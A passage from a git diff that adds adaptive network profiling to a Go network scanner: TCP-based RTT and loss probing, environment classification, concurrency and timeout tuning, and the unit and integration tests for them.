ceil(log(0.01)/log(0.5))=7 但上限 6"}, + {0.80, 6, 6, "80% 丢包: 需要很多次但上限 6"}, + {0.95, 6, 6, "95% 丢包: 触顶"}, + {1.0, 6, 6, "100% 丢包: 触顶"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + got := computeRetries(tt.lossRate) + if got < tt.wantMin || got > tt.wantMax { + t.Errorf("computeRetries(%.2f) = %d, want [%d, %d]", + tt.lossRate, got, tt.wantMin, tt.wantMax) + } + + // 验证数学正确性:lossRate^got < 0.01 + // 跳过:零丢包、极高丢包(触顶上限 6 时数学不满足,属于设计取舍) + if tt.lossRate > 0.001 && tt.lossRate < 0.45 { + prob := math.Pow(tt.lossRate, float64(got)) + if prob >= 0.01 { + t.Errorf("lossRate=%.2f retries=%d: P(全失败)=%.4f >= 0.01, 重试不够", + tt.lossRate, got, prob) + } + } + }) + } +} + +// ============================================================================= +// 单元测试:computeICMPRate +// ============================================================================= + +func TestComputeICMPRate(t *testing.T) { + tests := []struct { + env NetworkEnv + fdLimit int + wantMin float64 + wantMax float64 + desc string + }{ + {EnvLAN, 65536, 0.4, 0.6, "内网高 fd: 高速"}, + {EnvWAN, 65536, 0.2, 0.4, "局域网高 fd: 中速"}, + {EnvInternet, 65536, 0.05, 0.15, "公网: 保守"}, + {EnvSlow, 65536, 0.03, 0.08, "慢速: 极保守"}, + {EnvLAN, 256, 0.01, 0.2, "内网低 fd: 受限"}, + {EnvLAN, 0, 0.4, 0.6, "fd 未知: 按环境"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + net := &NetworkProfile{Env: tt.env} + sys := &SystemProfile{FDLimit: tt.fdLimit} + got := computeICMPRate(net, sys) + if got < tt.wantMin || got > tt.wantMax { + t.Errorf("computeICMPRate(env=%v, fd=%d) = %.3f, want [%.3f, %.3f]", + tt.env, tt.fdLimit, got, tt.wantMin, tt.wantMax) + } + }) + } +} + +// ============================================================================= +// 集成测试:TuneConfig — 完整参数调整流程 +// ============================================================================= + +func TestTuneConfig_LAN(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMin: 500 * time.Microsecond, + RTTMedian: 1 * time.Millisecond, + RTTP95: 3 * time.Millisecond, + RTTStddev: 500 * time.Microsecond, + LossRate: 0.0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + + ep.TuneConfig(config, session) + + // Timeout: median(1ms) + 4*stddev(0.5ms) = 3ms → clamp to 1s 下限 + if config.Timeout < time.Second || config.Timeout > 2*time.Second { + t.Errorf("LAN Timeout = %v, 内网应该在 1-2s", config.Timeout) + } + + // MaxRetries: 零丢包 → 1 + if config.MaxRetries != 1 { + t.Errorf("LAN MaxRetries = %d, 零丢包应该是 1", config.MaxRetries) + } + + // ICMPRate: 内网应该比默认 0.1 高 + if config.Network.ICMPRate <= 0.1 { + t.Errorf("LAN ICMPRate = %.2f, 应该 > 0.1", config.Network.ICMPRate) + } + + // ModuleThreadNum: 基于 ThreadNum/30 + if config.ModuleThreadNum < 5 { + t.Errorf("LAN ModuleThreadNum = %d, 应该 >= 5", config.ModuleThreadNum) + } + + t.Logf("LAN 参数: Timeout=%v, MT=%d, Retry=%d, ICMP=%.2f, POC=%d", + config.Timeout, config.ModuleThreadNum, config.MaxRetries, config.Network.ICMPRate, config.POC.Num) +} + +func TestTuneConfig_Internet(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvInternet, + RTTMin: 50 * time.Millisecond, + RTTMedian: 100 * time.Millisecond, + RTTP95: 250 * time.Millisecond, + RTTStddev: 40 * time.Millisecond, + LossRate: 0.08, + Samples: 25, + }, + System: SystemProfile{FDLimit: 1024, NumCPU: 4}, + } + + ep.TuneConfig(config, session) + + // Timeout: median(100ms) + 4*stddev(40ms) = 260ms → 但 minTO = 3*100+200 = 500ms + if config.Timeout < 500*time.Millisecond || config.Timeout > 5*time.Second { + t.Errorf("Internet Timeout = %v, 公网应该在 500ms-5s", config.Timeout) + } + + // MaxRetries: 8% 丢包 → ceil(log(0.01)/log(0.08)) ≈ 2 + if config.MaxRetries < 2 || config.MaxRetries > 3 { + t.Errorf("Internet MaxRetries = %d, 8%%丢包应该是 2-3", config.MaxRetries) + } + + // ICMPRate: 公网应该偏低 + if config.Network.ICMPRate > 0.2 { + t.Errorf("Internet ICMPRate = %.2f, 应该 <= 0.2", config.Network.ICMPRate) + } + + t.Logf("Internet 参数: Timeout=%v, MT=%d, Retry=%d, ICMP=%.2f, POC=%d", + config.Timeout, config.ModuleThreadNum, config.MaxRetries, config.Network.ICMPRate, config.POC.Num) +} + +func TestTuneConfig_SlowLossy(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvSlow, + RTTMin: 200 * time.Millisecond, + RTTMedian: 500 * time.Millisecond, + RTTP95: 2 * time.Second, + RTTStddev: 300 * time.Millisecond, + LossRate: 0.25, + Samples: 15, + }, + System: SystemProfile{FDLimit: 512, NumCPU: 2}, + } + + ep.TuneConfig(config, session) + + // Timeout: median(500ms) + 4*stddev(300ms) = 1700ms, minTO = 500*3+200 = 1700ms + if config.Timeout < time.Second { + t.Errorf("Slow Timeout = %v, 慢速网络应该 >= 1s", config.Timeout) + } + + // MaxRetries: 25% 丢包 → ceil(log(0.01)/log(0.25)) ≈ 4 + if config.MaxRetries < 3 || config.MaxRetries > 5 { + t.Errorf("Slow MaxRetries = %d, 25%%丢包应该是 3-5", config.MaxRetries) + } + + // ICMPRate: 慢速 + 低 fd → 应该很低 + if config.Network.ICMPRate > 0.1 { + t.Errorf("Slow ICMPRate = %.2f, 应该 <= 0.1", config.Network.ICMPRate) + } + + t.Logf("Slow 参数: Timeout=%v, MT=%d, Retry=%d, ICMP=%.2f, POC=%d", + config.Timeout, config.ModuleThreadNum, config.MaxRetries, config.Network.ICMPRate, config.POC.Num) +} + +// ============================================================================= +// 集成测试:用户显式指定时不覆盖 +// ============================================================================= + +func TestTuneConfig_ExplicitOverride(t *testing.T) { + config := makeDefaultConfig() + config.Timeout = 5 * time.Second // 用户设了 -time 5 + config.ModuleThreadNum = 50 // 用户设了 -mt 50 + config.MaxRetries = 1 // 用户设了 -retry 1 + config.Network.ICMPRate = 0.8 // 用户设了 -icmp-rate 0.8 + config.POC.Num = 100 // 用户设了 -num 100 + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMedian: 1 * time.Millisecond, + RTTStddev: 500 * time.Microsecond, + LossRate: 0.0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + + ep.TuneConfig(config, session) + + // 所有非默认值都不应被覆盖 + if config.Timeout != 5*time.Second { + t.Errorf("用户 Timeout 被覆盖: %v", config.Timeout) + } + if config.ModuleThreadNum != 50 { + t.Errorf("用户 ModuleThreadNum 被覆盖: %d", config.ModuleThreadNum) + } + if config.MaxRetries != 1 { + t.Errorf("用户 MaxRetries 被覆盖: %d", config.MaxRetries) + } + if config.Network.ICMPRate != 0.8 { + t.Errorf("用户 ICMPRate 被覆盖: %.2f", config.Network.ICMPRate) + } + if config.POC.Num != 100 { + t.Errorf("用户 PocNum 被覆盖: %d", config.POC.Num) + } +} + +// ============================================================================= +// 集成测试:fd limit 约束 +// ============================================================================= + +func TestTuneConfig_FDLimitConstraint(t *testing.T) { + config := makeDefaultConfig() + config.ThreadNum = 600 + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMedian: 1 * time.Millisecond, + RTTStddev: 500 * time.Microsecond, + LossRate: 0.0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 256, NumCPU: 4}, + } + + ep.TuneConfig(config, session) + + // 600 线程 > 256 * 0.6 = 153 → 应该被约束 + maxExpected := 256 * 6 / 10 + if config.ThreadNum > maxExpected { + t.Errorf("ThreadNum = %d, 应该 <= %d (fd_limit=256)", config.ThreadNum, maxExpected) + } + + t.Logf("fd limit 约束: ThreadNum=%d (max=%d)", config.ThreadNum, maxExpected) +} + +// ============================================================================= +// 集成测试:零样本时不调整 +// ============================================================================= + +func TestTuneConfig_NoSamples(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + + origTimeout := config.Timeout + origRetry := config.MaxRetries + origICMP := config.Network.ICMPRate + + ep := &EnvironmentProfile{ + Net: NetworkProfile{Samples: 0}, + System: SystemProfile{FDLimit: 65536}, + } + + ep.TuneConfig(config, session) + + if config.Timeout != origTimeout { + t.Errorf("零样本不应改 Timeout: %v -> %v", origTimeout, config.Timeout) + } + if config.MaxRetries != origRetry { + t.Errorf("零样本不应改 MaxRetries: %d -> %d", origRetry, config.MaxRetries) + } + if config.Network.ICMPRate != origICMP { + t.Errorf("零样本不应改 ICMPRate: %.2f -> %.2f", origICMP, config.Network.ICMPRate) + } +} + +// ============================================================================= +// 辅助 +// ============================================================================= + +func makeDefaultConfig() *common.Config { + return &common.Config{ + Timeout: 3 * time.Second, + ThreadNum: 600, + ModuleThreadNum: 20, + MaxRetries: 3, + Network: common.NetworkConfig{ICMPRate: 0.1}, + POC: common.POCConfig{Num: 20}, + Output: common.OutputConfig{LogLevel: "base,info,success"}, + } +} + +func makeTestSession(config *common.Config) *common.ScanSession { + return common.NewScanSession(config, common.NewState(), &common.FlagVars{}) +} diff --git a/core/fd_limit_unix.go b/core/fd_limit_unix.go new file mode 100644 index 0000000..89f0b29 --- /dev/null +++ b/core/fd_limit_unix.go @@ -0,0 +1,13 @@ +//go:build !windows + +package core + +import "syscall" + +func getFDLimit() int { + var lim syscall.Rlimit + if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil { + return 0 + } + return int(lim.Cur) +} diff --git a/core/fd_limit_windows.go b/core/fd_limit_windows.go new file mode 100644 index 0000000..033f736 --- /dev/null +++ b/core/fd_limit_windows.go @@ -0,0 +1,8 @@ +//go:build windows + +package core + +// Windows 没有 RLIMIT_NOFILE,句柄上限由系统管理 +func getFDLimit() int { + return 0 +} diff --git a/core/integration_test.go b/core/integration_test.go new file mode 100644 index 0000000..c987f46 --- /dev/null +++ b/core/integration_test.go @@ -0,0 +1,545 @@ +package core + +import ( + "sync" + "sync/atomic" + "testing" + "time" +) + +// ============================================================================= +// 集成测试 1:探测 → 参数调整 → 线程池创建 完整链路 +// 验证从 NetworkProfile 到 TuneConfig 到 AdaptivePool 的端到端数据流 +// ============================================================================= + +func TestIntegration_ProbeToPool_LAN(t *testing.T) { + // 模拟内网探测结果 + profile := classifyNetwork( + makeDurations([]int{1, 1, 2, 2, 2, 3, 3, 3, 4, 5}), // ms + 0, 10, + ) + + if profile.Env != EnvLAN { + t.Fatalf("探测环境 = %v, want LAN", profile.Env) + } + + // 构建 Config + TuneConfig + config := makeDefaultConfig() + session := makeTestSession(config) + sys := ProbeSystem() + + ep := &EnvironmentProfile{Net: *profile, System: sys} + ep.TuneConfig(config, session) + + // 验证参数被合理调整 + if config.Timeout > 3*time.Second { + t.Errorf("内网 Timeout = %v, 不应 > 3s", config.Timeout) + } + if config.MaxRetries != 1 { + t.Errorf("内网零丢包 MaxRetries = %d, want 1", config.MaxRetries) + } + + // 用调整后的参数创建线程池 + target, ceiling := profile.RecommendConcurrency(config.ThreadNum, config.ThreadNumExplicit) + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(target, ceiling, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + if pool.Cap() <= 0 { + t.Errorf("池容量 = %d, 应该 > 0", pool.Cap()) + } + + t.Logf("内网完整链路: Timeout=%v MT=%d Retry=%d ICMP=%.2f target=%d ceiling=%d poolCap=%d", + config.Timeout, config.ModuleThreadNum, config.MaxRetries, + config.Network.ICMPRate, target, ceiling, pool.Cap()) +} + +func TestIntegration_ProbeToPool_Internet(t *testing.T) { + profile := classifyNetwork( + makeDurations([]int{60, 70, 80, 90, 100, 110, 120, 130, 140, 150}), + 0, 10, + ) + + if profile.Env != EnvInternet { + t.Fatalf("探测环境 = %v, want Internet", profile.Env) + } + + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{Net: *profile, System: SystemProfile{FDLimit: 4096, NumCPU: 4}} + ep.TuneConfig(config, session) + + target, ceiling := profile.RecommendConcurrency(config.ThreadNum, config.ThreadNumExplicit) + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(target, ceiling, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + // 公网并发应该明显低于默认 600 + if target >= 600 { + t.Errorf("公网 target = %d, 应该 < 600", target) + } + + t.Logf("公网完整链路: Timeout=%v MT=%d Retry=%d target=%d ceiling=%d poolCap=%d", + config.Timeout, config.ModuleThreadNum, config.MaxRetries, target, ceiling, pool.Cap()) +} + +// ============================================================================= +// 集成测试 2:AdaptivePool + ScanMetrics 联动 +// 验证:任务执行 → metrics 记录 → 池读取 metrics → 做出调整决策 +// ============================================================================= + +func TestIntegration_PoolMetrics_HealthyTraffic(t *testing.T) { + metrics := &ScanMetrics{} + var taskCount atomic.Int64 + + pool, err := NewAdaptivePool(100, 100, func(i interface{}) { + taskCount.Add(1) + }, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(100) + + // 注入健康 metrics + for i := 0; i < 200; i++ { + metrics.RecordConnect(time.Millisecond) + } + + // 运行任务 + var wg sync.WaitGroup + for i := 0; i < 200; i++ { + wg.Add(1) + go func() { + defer wg.Done() + _ = pool.Invoke(nil) + }() + } + wg.Wait() + pool.Wait() + + // 触发调整 + pool.lastCheck.Store(0) + pool.adjust() + + if pool.Cap() < 90 { + t.Errorf("健康流量池容量不应大幅下降: cap = %d", pool.Cap()) + } + + t.Logf("健康流量: tasks=%d connects=%d cap=%d", + taskCount.Load(), metrics.Snapshot().Connects, pool.Cap()) +} + +func TestIntegration_PoolMetrics_ExhaustedTraffic(t *testing.T) { + metrics := &ScanMetrics{} + + pool, err := NewAdaptivePool(100, 100, func(i interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(100) + + // 直接向 metrics 注入大量资源耗尽事件(模拟扫描过程中的 fd 不足) + for i := 0; i < 200; i++ { + metrics.RecordExhausted() + } + + // 手动触发调整(清除时间守卫) + pool.lastCheck.Store(0) + pool.adjust() + + // 资源耗尽率 100% → 应该降速 + if pool.Cap() >= 100 { + t.Errorf("资源耗尽后池应该降速: cap = %d", pool.Cap()) + } + + t.Logf("资源耗尽: exhausted=%d cap=%d", metrics.Snapshot().Exhausted, pool.Cap()) +} + +// ============================================================================= +// 集成测试 3:慢启动 → 稳态 AIMD 过渡 +// 验证慢启动阶段的翻倍行为和过渡到稳态的时机 +// ============================================================================= + +func TestIntegration_SlowStartToSteady(t *testing.T) { + metrics := &ScanMetrics{} + + pool, err := NewAdaptivePool(100, 100, func(i interface{}) { + metrics.RecordConnect(time.Millisecond) + }, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + if !pool.inSlowStart { + t.Fatal("初始应该在慢启动状态") + } + + initialCap := pool.Cap() + t.Logf("慢启动初始: cap=%d", initialCap) + + // 喂入足够的健康 metrics + for i := 0; i < 100; i++ { + metrics.RecordConnect(time.Millisecond) + } + + // 模拟多次调整周期 + caps := []int{initialCap} + for i := 0; i < 10; i++ { + pool.lastCheck.Store(0) // 强制触发检查 + pool.adjust() + caps = append(caps, pool.Cap()) + } + + // 验证:容量应该逐步增长 + growing := false + for i := 1; i < len(caps); i++ { + if caps[i] > caps[i-1] { + growing = true + break + } + } + if !growing { + t.Errorf("慢启动期间容量没有增长: %v", caps) + } + + // 最终应该退出慢启动 + finalCap := pool.Cap() + if finalCap < initialCap { + t.Errorf("最终容量 %d < 初始 %d, 不合理", finalCap, initialCap) + } + + t.Logf("慢启动过渡: %v, inSlowStart=%v", caps, pool.inSlowStart) +} + +// ============================================================================= +// 集成测试 4:拥塞 → 降速 → 恢复 完整周期 +// ============================================================================= + +func TestIntegration_CongestionRecovery(t *testing.T) { + metrics := &ScanMetrics{} + + pool, err := NewAdaptivePool(200, 200, func(i interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + // 直接到稳态,满容量 + pool.inSlowStart = false + pool.tune(200) + + // === 阶段 1: 正常运行 === + for i := 0; i < 100; i++ { + metrics.RecordConnect(time.Millisecond) + } + pool.lastCheck.Store(0) + pool.adjust() + normalCap := pool.Cap() + t.Logf("正常阶段: cap=%d", normalCap) + + // === 阶段 2: 突发拥塞(大量资源耗尽)=== + for i := 0; i < 200; i++ { + metrics.RecordExhausted() + } + pool.lastCheck.Store(0) + pool.adjust() + congestedCap := pool.Cap() + + if congestedCap >= normalCap { + t.Errorf("拥塞后应降速: normal=%d congested=%d", normalCap, congestedCap) + } + t.Logf("拥塞阶段: cap=%d (降幅 %d%%)", congestedCap, (normalCap-congestedCap)*100/normalCap) + + // === 阶段 3: 恢复(大量成功连接)=== + for i := 0; i < 500; i++ { + metrics.RecordConnect(time.Millisecond) + } + + // 多次调整模拟恢复过程 + for i := 0; i < 20; i++ { + pool.lastCheck.Store(0) + pool.adjust() + } + recoveredCap := pool.Cap() + + if recoveredCap <= congestedCap { + t.Errorf("恢复后应提速: congested=%d recovered=%d", congestedCap, recoveredCap) + } + + // 恢复后不应超过 ceiling + if recoveredCap > 200 { + t.Errorf("恢复后不应超过 ceiling: cap=%d ceiling=200", recoveredCap) + } + + t.Logf("恢复阶段: cap=%d", recoveredCap) +} + +// ============================================================================= +// 集成测试 5:RTT 趋势检测 → 池调整 +// 验证 ScanMetrics 的 RTT EMA 趋势信号能正确传导到池的健康判断 +// ============================================================================= + +func TestIntegration_RTTTrend_DrivesPoolAdjustment(t *testing.T) { + metrics := &ScanMetrics{} + + pool, err := NewAdaptivePool(100, 100, func(i interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(100) + + // 建立基线:100 个 5ms RTT + for i := 0; i < 200; i++ { + metrics.RecordConnect(5 * time.Millisecond) + } + pool.lastCheck.Store(0) + pool.adjust() + baselineCap := pool.Cap() + + // RTT 突增到 100ms(20 倍) + for i := 0; i < 100; i++ { + metrics.RecordConnect(100 * time.Millisecond) + } + + ratio := metrics.RTTRatio() + if ratio <= 1.0 { + t.Logf("RTT ratio = %.2f, EMA 可能还没追上(正常)", ratio) + } + + // 多次调整看池是否响应 + for i := 0; i < 5; i++ { + pool.lastCheck.Store(0) + pool.adjust() + } + afterRTTSpike := pool.Cap() + + t.Logf("RTT 趋势: baseline_cap=%d after_spike=%d rtt_ratio=%.2f", + baselineCap, afterRTTSpike, ratio) + + // 如果 ratio 足够高,池应该降速 + if ratio > 2.0 && afterRTTSpike >= baselineCap { + t.Errorf("RTT ratio=%.2f 但池没有降速: %d -> %d", ratio, baselineCap, afterRTTSpike) + } +} + +// ============================================================================= +// 集成测试 6:不同网络环境下的参数一致性 +// 验证同一组目标在不同环境下参数调整的合理递进关系 +// ============================================================================= + +func TestIntegration_ParameterProgression(t *testing.T) { + environments := []struct { + name string + rtts []int // ms + loss int // failures out of 10 + wantEnv NetworkEnv + }{ + {"内网", []int{1, 1, 2, 2, 3, 3, 4, 4, 5, 5}, 0, EnvLAN}, + {"局域网", []int{10, 15, 20, 25, 30, 35, 40, 45, 48, 49}, 0, EnvWAN}, + {"公网", []int{60, 70, 80, 90, 100, 120, 140, 160, 180, 195}, 0, EnvInternet}, + {"慢速", []int{200, 300, 400, 500, 600, 700, 800, 900, 1000, 1500}, 0, EnvSlow}, + } + + type params struct { + timeout time.Duration + mt int + retry int + icmpRate float64 + } + + var results []params + + for _, env := range environments { + profile := classifyNetwork(makeDurations(env.rtts), env.loss, 10) + if profile.Env != env.wantEnv { + t.Errorf("%s: env = %v, want %v", env.name, profile.Env, env.wantEnv) + } + + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: *profile, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + ep.TuneConfig(config, session) + + results = append(results, params{ + timeout: config.Timeout, + mt: config.ModuleThreadNum, + retry: config.MaxRetries, + icmpRate: config.Network.ICMPRate, + }) + + t.Logf("%s: Timeout=%v MT=%d Retry=%d ICMP=%.2f", + env.name, config.Timeout, config.ModuleThreadNum, config.MaxRetries, config.Network.ICMPRate) + } + + // 验证递进关系:从内网到慢速,Timeout 应递增 + for i := 1; i < len(results); i++ { + if results[i].timeout < results[i-1].timeout { + t.Errorf("Timeout 不递增: %v (env[%d]) < %v (env[%d])", + results[i].timeout, i, results[i-1].timeout, i-1) + } + } + + // ICMPRate 应递减(内网最高,慢速最低) + for i := 1; i < len(results); i++ { + if results[i].icmpRate > results[i-1].icmpRate { + t.Errorf("ICMPRate 不递减: %.2f (env[%d]) > %.2f (env[%d])", + results[i].icmpRate, i, results[i-1].icmpRate, i-1) + } + } +} + +// ============================================================================= +// 集成测试 7:用户显式 -t + 网络探测 完整流程 +// 验证用户指定值作为 ceiling 但探测仍然影响其他参数 +// ============================================================================= + +func TestIntegration_ExplicitThreadNum_WithProbe(t *testing.T) { + profile := classifyNetwork( + makeDurations([]int{100, 120, 140, 160, 180, 200, 220, 240, 260, 300}), + 2, 12, // 部分丢包 + ) + + config := makeDefaultConfig() + config.ThreadNum = 200 + config.ThreadNumExplicit = true + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: *profile, + System: SystemProfile{FDLimit: 4096, NumCPU: 4}, + } + ep.TuneConfig(config, session) + + // ThreadNum 不应被修改(fd limit 允许范围内) + // 但 Timeout、ModuleThreadNum 等应根据探测调整 + if config.Timeout == 3*time.Second { + t.Error("即使 -t 显式,Timeout 仍应根据探测调整") + } + + // 创建池 + target, ceiling := profile.RecommendConcurrency(config.ThreadNum, config.ThreadNumExplicit) + if ceiling != 200 { + t.Errorf("显式 -t 200 的 ceiling = %d, want 200", ceiling) + } + if target > 200 { + t.Errorf("target = %d, 不应超过 ceiling 200", target) + } + + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(target, ceiling, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + t.Logf("显式 -t 200: Timeout=%v MT=%d Retry=%d target=%d ceiling=%d cap=%d", + config.Timeout, config.ModuleThreadNum, config.MaxRetries, target, ceiling, pool.Cap()) +} + +// ============================================================================= +// 集成测试 8:AdaptiveTimeout + ScanMetrics 双 RTT 追踪 +// 验证两个 RTT 追踪器独立工作不干扰 +// ============================================================================= + +func TestIntegration_DualRTTTracking(t *testing.T) { + adaptiveTO := NewAdaptiveTimeout(3 * time.Second) + metrics := &ScanMetrics{} + + // 喂入相同的 RTT 数据到两个追踪器 + for i := 0; i < 50; i++ { + rtt := 10 * time.Millisecond + adaptiveTO.Record(rtt) + metrics.RecordConnect(rtt) + } + + // AdaptiveTimeout 用于连接超时 + toValue := adaptiveTO.Timeout() + // ScanMetrics 用于池健康判断 + rttFast := metrics.RTTFast() + ratio := metrics.RTTRatio() + + if toValue > 3*time.Second { + t.Errorf("AdaptiveTimeout 应该 < 初始值: %v", toValue) + } + if rttFast < 8*time.Millisecond || rttFast > 12*time.Millisecond { + t.Errorf("ScanMetrics RTTFast 应接近 10ms: %v", rttFast) + } + if ratio < 0.8 || ratio > 1.2 { + t.Errorf("稳定 RTT 的 ratio 应接近 1.0: %.2f", ratio) + } + + t.Logf("双追踪: AdaptiveTO=%v, MetricsFast=%v, Ratio=%.2f", toValue, rttFast, ratio) +} + +// ============================================================================= +// 集成测试 9:丢包环境下 Retry + ModuleThreadNum 联动 +// 验证高丢包同时影响重试和并发 +// ============================================================================= + +func TestIntegration_LossyNetwork_RetryAndConcurrency(t *testing.T) { + lossRates := []float64{0.0, 0.05, 0.10, 0.20, 0.40} + + type result struct { + loss float64 + retry int + mt int + } + var results []result + + for _, loss := range lossRates { + profile := &NetworkProfile{ + Env: EnvInternet, + RTTMedian: 80 * time.Millisecond, + RTTStddev: 20 * time.Millisecond, + LossRate: loss, + Samples: 20, + } + + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{ + Net: *profile, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + ep.TuneConfig(config, session) + + results = append(results, result{loss, config.MaxRetries, config.ModuleThreadNum}) + } + + // 重试次数应随丢包率单调递增 + for i := 1; i < len(results); i++ { + if results[i].retry < results[i-1].retry { + t.Errorf("Retry 不递增: loss=%.2f retry=%d < loss=%.2f retry=%d", + results[i].loss, results[i].retry, results[i-1].loss, results[i-1].retry) + } + } + + // 高丢包时 ModuleThreadNum 应降低 + if results[len(results)-1].mt >= results[0].mt { + t.Errorf("40%%丢包的 MT(%d) 应 < 0%%丢包的 MT(%d)", + results[len(results)-1].mt, results[0].mt) + } + + for _, r := range results { + t.Logf("loss=%.0f%%: Retry=%d MT=%d", r.loss*100, r.retry, r.mt) + } +} diff --git a/core/network_profiler.go b/core/network_profiler.go new file mode 100644 index 0000000..6accdd3 --- /dev/null +++ b/core/network_profiler.go @@ -0,0 +1,277 @@ +package core + +import ( + "context" + "fmt" + "math" + "net" + "sort" + "sync" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" +) + +// NetworkEnv 网络环境分类 +type NetworkEnv int + +const ( + EnvLAN NetworkEnv = iota // 内网: RTT < 5ms, 丢包 < 1% + EnvWAN // 局域网/专线: RTT 5~50ms, 丢包 < 5% + EnvInternet // 公网: RTT 50~200ms + EnvSlow // 慢速/高丢包: RTT > 200ms 或 丢包 > 10% +) + +func (e NetworkEnv) String() string { + switch e { + case EnvLAN: + return i18n.GetText("net_env_lan") + case EnvWAN: + return i18n.GetText("net_env_wan") + case EnvInternet: + return i18n.GetText("net_env_internet") + default: + return i18n.GetText("net_env_slow") + } +} + +// NetworkProfile 网络探测结果 +type NetworkProfile struct { + Env NetworkEnv + RTTMin time.Duration + RTTMedian time.Duration + RTTP95 time.Duration + RTTStddev time.Duration + LossRate float64 + Samples int +} + +// RecommendConcurrency 根据探测结果推荐并发参数 +// 返回 (target, ceiling) +// - target: 推荐的目标并发数 +// - ceiling: 允许的最大并发数 +// +// 如果用户显式指定了 -t,ceiling = 用户值,target 取 min(推荐值, 用户值) +// 如果用户未指定,target 和 ceiling 均为推荐值 +func (p *NetworkProfile) RecommendConcurrency(userThreadNum int, explicit bool) (target, ceiling int) { + // 基于网络环境的缩放因子 + var factor float64 + switch p.Env { + case EnvLAN: + factor = 1.5 + case EnvWAN: + factor = 1.0 + case EnvInternet: + factor = 0.4 + case EnvSlow: + factor = 0.15 + } + + recommended := int(float64(userThreadNum) * factor) + if recommended < 10 { + recommended = 10 + } + + // 丢包率高时进一步压缩 + if p.LossRate > 0.05 { + recommended = int(float64(recommended) * (1.0 - p.LossRate)) + if recommended < 10 { + recommended = 10 + } + } + + if explicit { + ceiling = userThreadNum + target = recommended + if target > ceiling { + target = ceiling + } + } else { + target = recommended + ceiling = recommended + } + return +} + +// probePorts 探测用的端口列表(高响应率的常见端口) +var probePorts = []int{80, 443, 22} + +// ProbeNetwork 探测目标网络环境 +// 从 hosts 中抽样,用低并发 TCP 连接测量 RTT 和丢包率 +// 整个过程控制在数秒内完成 +func ProbeNetwork(ctx context.Context, hosts []string, session *common.ScanSession) *NetworkProfile { + if len(hosts) == 0 { + return defaultProfile() + } + + // 抽样:均匀分布,最多 10 个 + samples := pickSamples(hosts, 10) + probeTimeout := session.Config.Timeout + if probeTimeout > time.Second { + probeTimeout = time.Second + } + if probeTimeout < 500*time.Millisecond { + probeTimeout = 500 * time.Millisecond + } + + var ( + mu sync.Mutex + rtts []time.Duration + failures int + total int + ) + + sem := make(chan struct{}, 10) + var wg sync.WaitGroup + + for _, host := range samples { + for _, port := range probePorts { + select { + case <-ctx.Done(): + goto done + default: + } + + total++ + wg.Add(1) + sem <- struct{}{} + + go func(h string, p int) { + defer func() { <-sem; wg.Done() }() + + addr := fmt.Sprintf("%s:%d", h, p) + start := time.Now() + conn, err := session.DialTCP(ctx, "tcp", addr, probeTimeout) + rtt := time.Since(start) + + mu.Lock() + defer mu.Unlock() + + if err != nil { + // 连接拒绝也是有效的 RTT 样本(说明对端可达) + if isConnectionRefused(err) { + rtts = append(rtts, rtt) + } + failures++ + } else { + _ = conn.Close() + rtts = append(rtts, rtt) + } + }(host, port) + } + } +done: + wg.Wait() + + return classifyNetwork(rtts, failures, total) +} + +func classifyNetwork(rtts []time.Duration, failures, total int) *NetworkProfile { + if len(rtts) == 0 { + return defaultProfile() + } + + sort.Slice(rtts, func(i, j int) bool { return rtts[i] < rtts[j] }) + + n := len(rtts) + median := rtts[n/2] + p95idx := int(float64(n) * 0.95) + if p95idx >= n { + p95idx = n - 1 + } + p95 := rtts[p95idx] + + // 标准差 + var sum float64 + for _, r := range rtts { + sum += float64(r) + } + mean := sum / float64(n) + var variance float64 + for _, r := range rtts { + d := float64(r) - mean + variance += d * d + } + stddev := time.Duration(math.Sqrt(variance / float64(n))) + + // 丢包率:只计算超时的(非 refused),但简化为 1 - 有效响应数/总数 + lossRate := 1.0 - float64(n)/float64(total) + if lossRate < 0 { + lossRate = 0 + } + + // 分类 + env := classifyEnv(median, lossRate) + + return &NetworkProfile{ + Env: 